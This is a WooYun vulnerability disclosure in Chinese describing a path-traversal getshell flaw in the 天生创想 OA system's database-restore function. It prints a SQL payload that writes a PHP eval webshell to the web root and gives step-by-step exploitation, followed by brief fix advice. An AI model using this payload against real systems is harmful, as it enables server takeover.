当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-045488

漏洞标题:天生创想OA系统GETSHELL漏洞

相关厂商:天生创想OA

漏洞作者: xfkxfk

提交时间:2013-12-11 14:18

修复时间:2014-03-11 14:20

公开时间:2014-03-11 14:20

漏洞类型:文件上传导致任意代码执行

危害等级:中

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-11: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-03-11: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

天生创想OA通过绕过限制操作任意文件,GETSHELL

详细说明:

看看出现问题的代码:

daima.png


问题出在数据库备份还原处。
主要在这里的file_get_contents处,把传进来的filename加上filename所在目录就是所要打开的文件路径了。
这里的filename所在目录就是data_dir,也就是数据库备份的的目录data/db/目录了。
正常情况下是data/db/xxx.sql,这是所要还原的数据文件的路径,我们传进来的是xxx.sql文件名,那么我们通过../../就回到了根目录下,就可以跳到其他目录的文件了,这里也没有检测后缀,那么我们传一个内容为sql语句的jpg文件,这里进行还原就会执行我们的sql语句啦。
传文件,这里我们上传的文件内容是sql语句如下:
Drop TABLE IF EXISTS temp;
Create TABLE temp(cmd text NOT NULL);
Insert INTO temp (cmd) VALUES("<?php @eval($_POST['cmd']);?>");
Select cmd from temp into outfile 'F:/wwwroot/Apache2/htdocs/TOA/eval.php';
Drop TABLE IF EXISTS temp;
这样就会在根目录下创建一个eval.php的一句话小马文件。

1.png


然后我们随便找一个数据表备份一下,返回了备份sql文件的所在目录:

2.png


然后我们来还原一下这个备份的sql文件:

3.png


然后抓包:

4.png


这里的filename是刚才备份的sql文件,我们修改一下:

5.png


成功还原了我们的替换了文件的sql备份文件,我们来连接一下是否创建eval.php成功:

6.png


成功连接,拿下shell。

漏洞证明:

6.png

修复方案:

控制还原数据的文件类型。
禁止文件包含等。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝